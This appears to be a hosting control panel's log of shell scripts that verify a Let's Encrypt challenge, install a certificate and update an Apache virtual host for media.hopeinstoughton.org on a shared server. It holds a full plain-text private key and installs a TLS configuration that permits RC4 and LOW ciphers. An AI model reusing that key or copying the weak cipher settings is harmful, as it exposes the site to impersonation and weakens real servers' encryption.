Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-27 06:00:37: Establishing a connection
2026-06-27 06:00:38: Establishing a connection
2026-06-27 06:00:38: 

PUT: /tmp/pkp953481

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_media/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-27 06:00:38: 

chmod 755 /tmp/pkp953481; /tmp/pkp953481; rm /tmp/pkp953481

2026-06-27 06:00:38: 


1


2026-06-27 06:00:38: Establishing a connection
2026-06-27 06:00:38: 

PUT: /tmp/pkp476224

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cat > 8N7ZfLJ1WMFNIlYdBWET6Btu18d39tAR3AQtfWHxzgU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
8N7ZfLJ1WMFNIlYdBWET6Btu18d39tAR3AQtfWHxzgU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 8N7ZfLJ1WMFNIlYdBWET6Btu18d39tAR3AQtfWHxzgU


2026-06-27 06:00:38: 

chmod 755 /tmp/pkp476224; /tmp/pkp476224; rm /tmp/pkp476224

2026-06-27 06:00:38: 




2026-06-27 06:00:44: Establishing a connection
2026-06-27 06:00:44: 

PUT: /tmp/pkp240576

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_media/.well-known/acme-challenge/"
rm 8N7ZfLJ1WMFNIlYdBWET6Btu18d39tAR3AQtfWHxzgU


2026-06-27 06:00:44: 

chmod 755 /tmp/pkp240576; /tmp/pkp240576; rm /tmp/pkp240576

2026-06-27 06:00:44: 




2026-06-27 06:00:44: Establishing a connection
2026-06-27 06:00:44: 

PUT: /tmp/pkp996685

#!/bin/bash
temp_file=$(mktemp)
TARGET=761f20410d05cde2a6e96bdaa7145760.crt

cat > $temp_file <<'endmsg'
e6:89:e5:c4:03:d2:01:36:c7:8b:8a:dc:51:0a:68:ad

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBfkq9UwerWJyJFhRWKi0lBjBMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI3MDUwMjE0WhcNMjYwOTI1MDUwMjEzWjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAjMUHvfJ2k9fzDxHdF6kSliC1J/oMdtnD8KEo6NWS5B0w3pOh
O+UmkAwE7Fd/BFkncy7Wm2u09Qv9lS4rAccWvzvhfGPLM6p0CIC2Q213HYHBPcwl
MqLPzBP50UCEQN0B0YjJw+lqMvo6eZbGxzs6F2vGZ6xFuZNJN6qch3D3mvyrjYAx
SbTsNJ91epsftYbt8C1EfDaWa8oh9rJCYj/UZiYkHLnxw0Yrek/Q02HOtsPFvEYD
wWRWLdyPYpKlYLH1lbGyD1S5A/rbJ4kGiRv36OacNkLH/e9ytWPj9FKjwfx8/vMt
vgs+/PdDaEIwBEZuMtneiCZtIGC1y1Dr9tQW1QIDAQABo4ICJjCCAiIwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFPbw/EmroL64UTc88VABJhIYB+6BMB8GA1UdIwQYMBaAFB8vNb5GFILN
QLGueSxVePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3lyMS5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWVkaWEuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8veXIxLmMubGVuY3Iub3JnLzY2LmNybDCCAQsGCisGAQQB1nkCBAIEgfwE
gfkA9wB2AJROQ4f67MHvgfMZJCaoGGUBx9NfOAIBP3JnfVU3LhnYAAABnweqhyAA
AAQDAEcwRQIgH1U/vl6Cu/brWXK0uNFyc3q4x1mMH8pKvIvFrN7fjIwCIQDj5KX0
yJEb9RzygopgZxEx4vU1x+8/sLoGW7Y41f52CAB9ABqLnWsP/r+BtHk5xtIxCobW
0QLU8EbiGCyd419eJiXvAAABnweqh30ACAAABQAjj4iJBAMARjBEAiA3+rH8vyCO
aDEMUUtqQXD5DZ31JexGsGOew6MleoU68QIgMLLbFvie/BTcEjvwFQPj9A9pFVvy
xljbBwvfRAFK1OEwDQYJKoZIhvcNAQELBQADggEBAAHMWfdS01BOPrqFcYo4j9jM
g9fxzNXnSq0ZBcdYHR8AJiZIo+ZM+mWuXr2e/bv6s4kFt8H00Vtu8CYp8y7pJtuH
QIMT6NqLhZuoXi0jB84Dm+RdRhGBDTfQjShPEiKkuQubmxhRS752EpoWOv9mJK/f
zcOY+qkeWVqawAU8dgUvX6hVbdSBuQFv/skE9QK5c10rCOLvzXYfIcOSbk05A/Tx
ODZd00vWnvl0xLG96Q7waQuZfqCfLMKrYPtQZpMjtHfytm6au5YiS7i4MzXQszs7
7LUZolqpZn00NFWOHcIlWabUX6qJ3BiuAU6bkg0pOSA5EwWP3oJeMTxKSuHvkVI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCMxQe98naT1/MP
Ed0XqRKWILUn+gx22cPwoSjo1ZLkHTDek6E75SaQDATsV38EWSdzLtaba7T1C/2V
LisBxxa/O+F8Y8szqnQIgLZDbXcdgcE9zCUyos/ME/nRQIRA3QHRiMnD6Woy+jp5
lsbHOzoXa8ZnrEW5k0k3qpyHcPea/KuNgDFJtOw0n3V6mx+1hu3wLUR8NpZryiH2
skJiP9RmJiQcufHDRit6T9DTYc62w8W8RgPBZFYt3I9ikqVgsfWVsbIPVLkD+tsn
iQaJG/fo5pw2Qsf973K1Y+P0UqPB/Hz+8y2+Cz7890NoQjAERm4y2d6IJm0gYLXL
UOv21BbVAgMBAAECggEANp64y04KDoGLMPy4cdbLfG8Ce5l9Ppxud67Apd9A2Lwu
2x4jQI9AcEIJov6sLS6+rOWupa2cEDzvzvOUAmOSgu8kJdS+4rQvw6DVl8IgptVS
+rx8bnJX+JKDq1rCNjzK2NefmiG2cENBby4+wM1NVAsgd9eTUldA4JWVmMQPfxYZ
1O6ijtyKIckznZMyMxgqA47117k3IDuH5J90Waac2/ajhZzqGN7f3+a3WvxWVO8g
iuywq2sRjT8t+AraMlQGctW0EaTopYGA5zmyP9RGsZpFAkWqDiyKJ0QMNlfP8rku
Qb1iHKme5rBR1mb5IlfYf10sTWvTb3WHLO/Z6vYzXQKBgQC+uTf+ZKt+N3z9WR49
z4qtK/zsUgR4HzmnyWm158cT2ezpX+MEbBX/EwBmq7S5DXo7QEBUEcDmnavdc8wT
sIlTaTVbA9bvp/oHU3Na14kaZ9vpvt83/e9Z6ItRP1lyk38qkP6L+0x9Aiphs4jv
/6lebABbTWrPnzx9BtJubJMrWwKBgQC88vZY35bnm6FIRfvFsnUhG5APSo0jSbVu
zzYn+dztGX4BBQRvGXdXZJifAD7s9OhltVKYE8o+zezereycXh5WQhF/T3SfWDdo
bw3F7wTUzqP2/Rhlqzppw09upvWlQGXa/hT4KEk8skDmwKABjsGoXSgucnlS6dIy
j7s81GXNjwKBgQCK0hoVioTgy9aoOTOv3d6ciYYBJPmnzWKT5CCTjO70Xgz5GRgO
YfXowZXrJVPX1h1//xZTmtCDi4RLHjwOoNJz6gIyCytpKSTuLCmsl3FtzObezlV/
Vc/f60lsi+W5Ze6LtxnwHavg2bCriJhFyBspZQclbcYu9UJ75nlIcrL0PQKBgQCw
2sEWQoGe257EZSzZyMW1bXUTuvYMF4vI4g6QsGDHVFsKXUXfL3jyxefMu5Aqfrmf
qW5bhfqBeoHBlA2p9rZyiniSLy67jviduYSsxaJCBgCWyCMz1mdgYz1QFtpKCNLN
fZDnDd4u/7GbyqR5kMNW8YsQnnlM0Cq8xKe+shdvpQKBgBoyzjYGW/+P4h0naIOV
OYoVW1vqTwg7/c7Y2qhTp9D857lNtqQgM/wWdtzZuk3nU2l7mydRXmHr6jJ4Y5uY
PJSsMJ1T8Cns3vSZIz6WdgrIdo1H/r74axOq3TQkVIpkq0IQ1XyJ1MnrRlnofjsi
xPw0B5TSEoRQXjYY3fypfoe4
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-27 06:00:45: 

chmod 755 /tmp/pkp996685; /tmp/pkp996685; rm /tmp/pkp996685

2026-06-27 06:00:45: 


dir=/etc/ssl/certs


2026-06-27 06:00:45: 

PUT: /tmp/pkp699822

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-27 06:00:45: 

chmod 755 /tmp/pkp699822; /tmp/pkp699822; rm /tmp/pkp699822

2026-06-27 06:00:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf 49

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-27 06:00:45: 

PUT: /tmp/pkp790561

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_media_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf= 1'
fi


2026-06-27 06:00:45: 

chmod 755 /tmp/pkp790561; /tmp/pkp790561; rm /tmp/pkp790561

2026-06-27 06:00:45: 




2026-06-27 06:00:45: 

PUT: /tmp/pkp218144

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-27 06:00:45: 

chmod 755 /tmp/pkp218144; /tmp/pkp218144; rm /tmp/pkp218144

2026-06-27 06:00:45: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-27 06:00:45: Establishing a connection
2026-06-27 06:00:45: 

PUT: /tmp/pkp594468

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-27 06:00:45: 

chmod 755 /tmp/pkp594468; /tmp/pkp594468; rm /tmp/pkp594468

2026-06-27 06:00:45: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
